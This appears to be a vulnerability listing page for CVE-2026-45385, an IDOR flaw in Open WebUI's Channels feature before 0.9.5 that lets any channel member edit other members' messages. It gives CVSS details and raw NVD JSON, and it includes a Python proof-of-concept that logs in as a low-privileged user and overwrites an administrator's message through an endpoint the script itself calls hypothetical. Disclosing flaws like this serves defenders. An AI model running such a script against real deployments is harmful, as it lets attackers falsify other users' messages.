Security Vulnerability Report
中文
CVE-2026-45385 CVSS 4.3 MEDIUM

CVE-2026-45385

Published: 2026-05-15 21:16:37
Last Modified: 2026-05-15 21:16:37

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, an IDOR vulnerability exists in the Channels feature of Open WebUI, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. In the update_message_by_id function, for group or dm type channels, only the caller's membership in the channel is checked via the is_user_channel_member function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. This vulnerability is fixed in 0.9.5.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration TARGET_URL = "http://localhost:8080" USERNAME = "attacker_user" PASSWORD = "password" def login(): """Authenticate as a low-privileged user.""" session = requests.Session() login_payload = {"username": USERNAME, "password": PASSWORD} response = session.post(f"{TARGET_URL}/api/v1/auths/login", json=login_payload) if response.status_code == 200: print("[+] Login successful") return session else: print("[-] Login failed") exit(1) def exploit_idor(session, channel_id, message_id, new_content): """ Exploit IDOR in update_message_by_id. Only membership is checked, not ownership. """ # Endpoint to update a message (Hypothetical based on description) endpoint = f"{TARGET_URL}/api/v1/channels/{channel_id}/messages/{message_id}" payload = { "content": new_content } # Attempt to update message belonging to another user response = session.put(endpoint, json=payload) if response.status_code == 200: print(f"[+] Successfully modified message {message_id} in channel {channel_id}") print(f"[+] New content: {new_content}") else: print(f"[-] Failed to modify message. Status code: {response.status_code}") if __name__ == "__main__": session = login() # Replace with valid IDs from the target target_channel_id = "target_channel_uuid" target_message_id = "admin_message_uuid" fake_message = "This message has been modified by an unauthorized user." exploit_idor(session, target_channel_id, target_message_id, fake_message)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45385", "sourceIdentifier": "[email protected]", "published": "2026-05-15T21:16:36.907", "lastModified": "2026-05-15T21:16:36.907", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, an IDOR vulnerability exists in the Channels feature of Open WebUI, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. In the update_message_by_id function, for group or dm type channels, only the caller's membership in the channel is checked via the is_user_channel_member function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. This vulnerability is fixed in 0.9.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-wwhq-cx22-f7vv", "source": "[email protected]"}]}}